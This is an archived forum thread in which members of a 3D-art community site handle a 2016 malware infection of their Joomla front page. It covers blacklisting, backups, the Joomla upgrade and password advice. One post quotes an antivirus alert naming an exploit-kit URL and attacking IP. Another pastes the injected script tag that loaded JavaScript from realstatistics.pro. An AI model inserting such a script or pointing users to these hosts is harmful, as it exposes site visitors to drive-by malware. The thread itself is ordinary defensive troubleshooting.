United3dArtists Archive

Draise · Post by **Draise** » 05 Jul 2016, 02:47

Loaded it and the site is blocked in Firefox due to Phishing and Malware warnings. Has the site been bugged?

Finis · Post by **Finis** » 05 Jul 2016, 05:29

Same here with Firefox. It has been listed somewhere as a phising risk.

When I used MS IE to see U3DA Norton Internet Security blocked the following and rated it high risk;

Neutrino Exploit Kit SWF Download
attacking computer 151.80.7.122, 80
attacker url dbuqdmgy.vrbird.top/curse/cheek-32135425.swf
Network traffic from dbuqdmgy.vrbird.top/curse/cheek-32135425.swf matches the signature of a known attack.

Steinie · Post by **Steinie** » 05 Jul 2016, 11:12

IP address 188.137.118.152 from Poland was used by the last two members joining U3DA with different names. I deleted both.
I sent an email to Augusto to check out this site that has links to a bad site.
I advise everyone to not click on links here until we check out this mess.

Finis · Post by **Finis** » 05 Jul 2016, 19:26

When we are sure the threat is gone there is a way to get off of the black list that Firefox is using. Use one of the links on this page, link, to request removal. Probably Prodigy has to do this. [Insert gripe about too few with access to essential site functions/powers/duties.]

I will log in at Hostgator today or tomorrow and see if their tech support can help.

spacekdet · Post by **spacekdet** » 05 Jul 2016, 23:02

Steinie, when you deleted the users did you also delete all their posts?

Finis · Post by **Finis** » 05 Jul 2016, 23:52

I just had my computer restart itself just as I came to U3DA in MS IE. It took a long time to reboot. Starting full virus and root kit scans now. I'll ask Hostgator about helping us soon.

Steinie · Post by **Steinie** » 06 Jul 2016, 00:51

spacekdet wrote:Steinie, when you deleted the users did you also delete all their posts?

Yes I did

Finis · Post by **Finis** » 06 Jul 2016, 02:59

I don't seem to be infected with anything. Still, the mysterious restart and its timing are odd.

Hostgator support was not very helpful. They apparently don't help with this kind of thing and refer customers to their partner Sitelock which does not have a good reputation. They ran a check with (this). We are on more than one blacklist.

I think Steinie's actions have probably removed the infection. I believe the blacklist entries will fade over time but how much time? It is possible to request removal.

Ultimately, Hostgator makes backups and we could have one from before the infection restored.

Steinie · Post by **Steinie** » 06 Jul 2016, 11:13

Can you put a request in to restore us back a Month or more?
I am still waiting for a response from Prodigy.

stan · Post by **stan** » 06 Jul 2016, 12:21

we seem to be only on one blacklist now as per finis' link:
Domain blacklisted by Google Safe Browsing: united3dartists.com

stan · Post by **stan** » 06 Jul 2016, 13:45

this seems to be the link..that causes the problem..

Steinie · Post by **Steinie** » 06 Jul 2016, 14:25

Can we get to this source page other then Prodigy?

Finis · Post by **Finis** » 06 Jul 2016, 15:08

Hostgator will restore from backup on the billing guy's (me) request. There may be a fee for that.

I can get to admin functions through the billing part of our host. I'm looking for the file that was modified now. No luck yet. Any suggestions for what file that would be? I'll just note the date it was modified so we can restore a backup from before that. I know the admin tools from my own sites but Joomla and php are not my thing so any "witch hunting" to try to fix this manually is for Prodigy to do. Also, it is his "office" to do admin.

Looks like the realstatistics thing was injected into our site's code http://www.malware-traffic-analysis.net ... index.html. So deleting the suspicious posts didn't fix it. That site says the malware started using the name with ".pro" on June 30. So we probably were not infected before that.

I think our host does weekly backups. Posts since the backup will be lost if a restore is done so take note of your posts for the last month or so. Be prepared to repost the good stuff.

stan · Post by **stan** » 06 Jul 2016, 19:35

I forgot to say it was on the main page(not forum main).
I haven't found it on forum main. It seems to be a javascript subsitution

<script language="JavaScript" type="text/JavaScript" src="http://realstatistics.pro/js/analytics. ... "></script>

it's on the main page source line 172 .

seems we need to upgrade the site to Joomla 3.5.1. might be able to get malware in old joomla or old javascript used

Steinie · Post by **Steinie** » 07 Jul 2016, 02:05

Ok I got hold of Prodigy and he will be checking on the problem soon.
Hang in there folks.

pugman 1 · Post by **pugman 1** » 07 Jul 2016, 12:59

i got to this site through win 10 edge but my Norton throws up this i know the sit has been hack for some reason
Firefox blocks it complete here is what norton give me if this helps

BNG · Post by **BNG** » 07 Jul 2016, 14:46

IE seems to work just fine; it must be related to Firefox.

stan · Post by **stan** » 07 Jul 2016, 22:09

: The problem still exists!!

the firefox warning page didn't show up at first, but after posting this. My norton gave me this alert when I opened the main index page, not here on forum.

Finis · Post by **Finis** » 08 Jul 2016, 01:10

Wait to see what Prodigy says.

Agree with Stan: Need to upgrade to the latest version of Joomla and everything. Old stuff = security risk.

UPDATE July 8: The host says they make backups once per week and only keep one. So the oldest backup of U3DA is from July 3. They won't keep that backup temporarily for us so a new one will overwrite it on July 10. We can still request a restore tomorrow July 9.

Draise · Post by **Draise** » 09 Jul 2016, 01:53

Wahoo! Looks like Prodigy did it.

seppgirty · Post by **seppgirty** » 09 Jul 2016, 14:31

chrome is still showing this as a maleware site. i had to switch to IE to view.

FHembree · Post by **FHembree** » 09 Jul 2016, 16:30

I get same warning.

Finis · Post by **Finis** » 09 Jul 2016, 17:23

Read all previous in this thread.

As of this post the site is still infected. The malware code is still in the front page (main site page, not the forum). Safety of the rest is unknown.

Prodigy, or someone, seems to be doing something since the front page was down earlier.

Today is the last day to restore the backup. I'll not request that unless Prodigy says to do so. The backup probably isn't pre-infection anyway.

Steinie · Post by **Steinie** » 09 Jul 2016, 22:59

https://blog.sucuri.net/2016/07/joomla- ... lware.html"

Finis · Post by **Finis** » 13 Jul 2016, 01:49

Anyone hear from Prodigy? Looks like he's doing something. The front page doesn't have the bad line in it now.

Joomla has not been updated. The Sucuri scanner shows a different message: blacklisted and "probably comprimised". Click the "force rescan" link or you'll see cached stuff. The google blacklist warning still shows in Firefox.

Although the host makes weekly backups and only keeps one there is allegedly a tool to make our own. If that can be automated great. We could make monthlies.

Draise · Post by **Draise** » 14 Jul 2016, 20:03

He has been working on it, from small side chats on facebook, fixing the frontpage - but he hasn't been able to get rid of the blacklisting from google yet.

So.. the threat technically is gone - now it's just.. yeah.

Steinie · Post by **Steinie** » 14 Jul 2016, 21:46

He has to submit our site to google and they will rescan our site.

stan · Post by **stan** » 15 Jul 2016, 12:56

That's great it's gone but what has been done to make sure it doesn't come back? We are still using old code? Does anyone know if anyone was affected by the malware?

Finis · Post by **Finis** » 16 Jul 2016, 00:13

I hope no one got malware. Especially the ransom ware that Norton blocked from my machine.

I guess Prodigy will give a status update when he is done. I think the site is safe in the immediate sense. Reasons: Bad code gone from the front page, Sucurri scanner finds no infestation, only google is black listing us*, and no members have recently reported attacks when visiting the site.

Armor:
- Older backups. Investigate do-it-yourself backup options. Hopefully we can make one each month keep and a couple of them.
- All our software, Joomla, plug-ins/extensions, phpBB, should to be updated to the latest versions and kept up to date.
- Please change your passwords to long unintelligible gibberish. Moderators, can this be forced (after login a user must change password to proceed)? Can a strong passwords be enforced?
- More ideas for site armor?

*google has a racket going there. Site owner/admin/whatever has to get an account with them and have it verified to request a re-scan to get off of their list even when the threat is gone. Google is evil. Since no other scanner, like Norton Safe Web (link), lists us as dangerous I think U3DA is safe for now.

Draise · Post by **Draise** » 18 Jul 2016, 15:46

I still get the blacklisting in Firefox on Android and on Win 10

Steinie · Post by **Steinie** » 18 Jul 2016, 15:54

Can everybody ask Prodigy to ask Google to review our site again? This will get us off the list.
Your right Stan that an update should be done also. Lets get us off the list first.

stan · Post by **stan** » 19 Jul 2016, 11:03

I sent Augusto an email about getting off list..

Funny the google bots are always here even as I post but you must request getting off list.

Finis · Post by **Finis** » 22 Jul 2016, 14:47

There is an alternative to get off of evil google's list without signing up for their webmaster tools. https://www.stopbadware.org/request-review. I'm busy with work for a while. Someone please investigate in more detail what stopbadware needs to get us off the list.

When I am less busy I'll research making do-it-yourself backups of the site, make one, and then research and try to update the site's software. Or ... does anyone have already have experience with that stuff? (cpanel, updating Joomla, php, phpbb ....)

Who has a full power admin abilities for the forum? The forum itself, like the ultimate moderator, not the host admin. There should be at least two people with such accounts in case Prodigy becomes unavailable.

Edit: 7-29-16 Lots of work so I'm too tired to think or learn about upgrading things for a while.
Edit: 7-30-16 Backup made and stored. Now we can return to this point in case of disaster.

RAYMAN · Post by **RAYMAN** » 25 Jul 2016, 08:37

Lost a computer yesterday but not the data on it! Come back to you
about it later...it was a troyan plus the HD has 8300 hours so on its way out!
Dont know if its related to the site! Found that someone made screenshots
of my modeling for printing!!:(... it was in the internet chach folder..
that guy left before he could delete it! Bastard!
Will write up about how I managed to get all the data back!!! You can almost
always do something!!!
Greetings Peter

Ps Working full time on my laptop for image retouching isjust as bad
as the virus! :p

Finis · Post by **Finis** » 02 Aug 2016, 01:11

Sorry about your computer Rayman.

I made and stored a backup of the site. We can return to this point if upgrading the software causes a disaster.

I believe stopbadware (evil google's minion that can get us off of the blacklist without an evil google webmaster account) will want to know that steps have been taken to prevent reinfection. For us that means that Joomla has been upgraded. We are running version 3.1.4. Version 3.6 is available. Upgrading phpBB too would be good. Upgrades make us stronger vs. future hacks.

Prodigy must be busy with real life. He is certainly the most qualified to upgrade the forum software but seems unavailable. He should crate other super users, top admins, for all the software so others can do maintenance and fixes like this.

He removed the malware from the front page. It is probably safe to visit and post in the forum now but we are just as vulnerable to infection as ever.

Some of you have accounts for our Joomla CMS right? Are any of you Joomla Admin or Super User level? What level users are you? Please speak up. U3DA needs your help.

stan · Post by **stan** » 02 Aug 2016, 01:46

Everyone is just global moderator status I believe except Prodigy.That would be me, Steinie, froo, and spacekdet. The others no longer come here.

Finis · Post by **Finis** » 02 Aug 2016, 03:18

Thanks Stan.

I mean Joomla users not forum moderators. Joomla, a content management system, creates the website that is U3DA's front page. I think Prodigy gave some people accounts for joomla to do things on the front page. Those are the people I am referring to.

Has anyone ever logged in here (link) or otherwise had access the joomla back end? (I sure JamesMC is devising a wicked joke!) If so, regardless of user level or skill or knowledge level, report for duty. U3DA needs your help.

Edit: August 4
Later today or in the next couple of days I will attempt to gain access to Joomla through the mystic arts. If successful I will attempt to upgrade it to the latest version. This may result in the front page being down for an unknown time. Access to the forum at " should not be affected. I have a backup made on July 30 in case of disaster. If the upgrade is successful I'll do stopbadware's procedure for removal from the blacklist.

Edit: August 4
I'm in. Upgrade to be attempted after research.

Finis · Post by **Finis** » 06 Aug 2016, 15:04

Making a new backup of the site before trying to update Joomla. Updating from the older version to the latest needs an extra step or two. There are instructions at the Joomla site. Once we are modernized updates should be easy. So far I like Joomla. I might use it on a website.

A nuclear option occurs to me. Joomla does not create the forum. It makes the front page, the website. PHPbb makes the forum. I think I could just uninstall Joomla and install the newest version. Then the front page content and style would have to be redone. It could clean a lot of mess that is there now too. Not intending to do that but it could work.

Edit August 6:
Attempting update. The front page may be down for an unknown time.

Edit August 6:
We are now running the most recent version of Joomla. This makes us more secure. Known update issue: The "Gallerie" thing on the front page produced a warning from the Sucuri scanner so I disabled the link. Someone else can fix that. Now to submit the site to stopbadware to get off of the blacklist.

Edit August 6:
Submitted to stopbadware to get off of the blacklist.

stan · Post by **stan** » 07 Aug 2016, 01:46

cool so Prodigy let you fix things.

Finis · Post by **Finis** » 07 Aug 2016, 02:17

stan wrote:cool so Prodigy let you fix things.

Time passed after the bad line was removed (thanks Prodigy!) and Joomla was not updated and Prodigy did not communicate ... at least not here. I asked the people who already had Joomla accounts to help but no one did. So I "invented" a new Joomla user "through the mystic arts" for me. The blacklist removal might take days.

I hope Prodigy is doing great and not absent do to any hardship. Prodigy, come to the forum and let your old forum buddies how you are doing!

Draise · Post by **Draise** » 07 Aug 2016, 02:42

Good one Finis.

Yeah, he has been busy and also worked on the joomla from what he told me, but he couldn't get it off the blacklist.

Hopefully it works! Thanks again.

clintonman · Post by **clintonman** » 07 Aug 2016, 13:38

Finis wrote:
stan wrote:cool so Prodigy let you fix things.
Time passed after the bad line was removed (thanks Prodigy!) and Joomla was not updated and Prodigy did not communicate ... at least not here. I asked the people who already had Joomla accounts to help but no one did. So I "invented" a new Joomla user "through the mystic arts" for me. The blacklist removal might take days.

I hope Prodigy is doing great and not absent do to any hardship. Prodigy, come to the forum and let your old forum buddies how you are doing!

It's off the list!!

You are the hero of the month.. no scratch that... the hero of the year.

seppgirty · Post by **seppgirty** » 07 Aug 2016, 13:41

It's back up on chrome.

clintonman · Post by **clintonman** » 07 Aug 2016, 13:47

Finis wrote:... I asked the people who already had Joomla accounts to help but no one did. So I "invented" a new Joomla user "through the mystic arts" for me. ...

If you're a full admin maybe you should hand out admin access to some others. I volunteer myself. I don't know Joomla, but I do know some Wordpress, PHP, MySQL, Javascript, HTML and CSS.

Finis · Post by **Finis** » 07 Aug 2016, 15:50

Stopbadware reports that we are off of the list.

Just want to be clear that I didn't mean the people with accounts who didn't volunteer are scum. They are busy, don't visit here often, didn't remember they have accounts, just weren't available to volunteer.

clintonman wrote:... admin access to some others. I volunteer myself. I don't know Joomla, but I do know some Wordpress ...

I've expressed concern about that before. We need to have more than one person at the top level of each thing to ensure U3DA's maintenance, management, changes, etc. You sound well qualified for host admin. Which position(s) do you want (see below)?

I think we need another host admin and another top level forum admin.

Host Admin - the hosting account is the universe containing the website(s)
This is Prodigy's job. Host Admin has access to cpanel and handles all technical functions for our hosting account. Includes install/uninstall software, databases, email accounts, files, backups, ftp, domains ... The hosting is paid for by donations from forum members.

Joomla - this creates the website which is the front page
Joomla is sort of like Wordpress. Prodigy, Draise, and a few more have top level accounts for Joomla.

The Forum - created by phpBB
There are some moderators. Prodigy has the only top level, admin, account.

Billilng
I'm the treasurer so I have access to the billing account on Hostgator. That includes access to host admin. I have shared the log in credentials with another forum member to ensure that access to the account is preserved.

clintonman · Post by **clintonman** » 07 Aug 2016, 18:37

Host, Joomla and Forum. That should give me enough access to a least do external off site backups of everything.

Draise · Post by **Draise** » 07 Aug 2016, 20:17

I had an account on Joomla with quite a bit of rights to it, even worked on the homepage and all for a moment, but I have long forgotten my credentials. Should have saved them somewhere!

Finis · Post by **Finis** » 09 Aug 2016, 00:22

Clintonman PM me an email address to use for your Joomla account. I'm researching if it is possible to create another host admin account. Host admin can make backups. Let's see if Prodigy will promote someone of his choice to forum top admin level since I would have to do it by abnormal means.

Draise, did you reset your Joomla password? The main security related thing to do in Joomla is keep it updated.

One of you please put a notice on the front page that u3da is safe now. Something less scary than, "Eyeball eating plague is gone! Come on in!"

Everyone please change your forum passwords to improve security. Use strong ones please. Moderators, can a password change be required to login again? Here's a tool to help https://identitysafe.norton.com/password-generator#

pugman 1 · Post by **pugman 1** » 10 Aug 2016, 09:37

Looks like the site is ok , firefox shows no more messeges u3dA opens fine know .
All is good

Steinie · Post by **Steinie** » 10 Aug 2016, 21:16

McAfee is still throwing up a warning

Finis · Post by **Finis** » 10 Aug 2016, 21:34

What does McAfee's warning say? Details. Anyone else getting that warning or any warning? Try the front page, http://united3dartists.com, also to test for warnings.

Norton and Sucuri say front page is safe. Forum too https://sitecheck.sucuri.net/results/ww ... .com/forum.

RAYMAN · Post by **RAYMAN** » 13 Aug 2016, 19:37

I'd make a test with ESET! I had tons of stuff...avira...avd...mcaffee...norton... malwarebytes..didnt find and ESET ( NOD 32) did find because it did NOT rely on virus databanks but on its own hyperheurestric!!!!! Up to the point that I realy got
mad about my IT!!!:(
Peter

Finis · Post by **Finis** » 16 Aug 2016, 03:08

ESET is for protecting your own computer. Can't use that on Hostgator. Hostgator has decent protection but security like up to date software and passwords is the customer's responsibility.

U3da seems safe now. phpBB which runs the forum should be checked and updated if needed. That's the next security project.

U3DA Phishing and Malware warning in Firefox

U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox

Re: U3DA Phishing and Malware warning in Firefox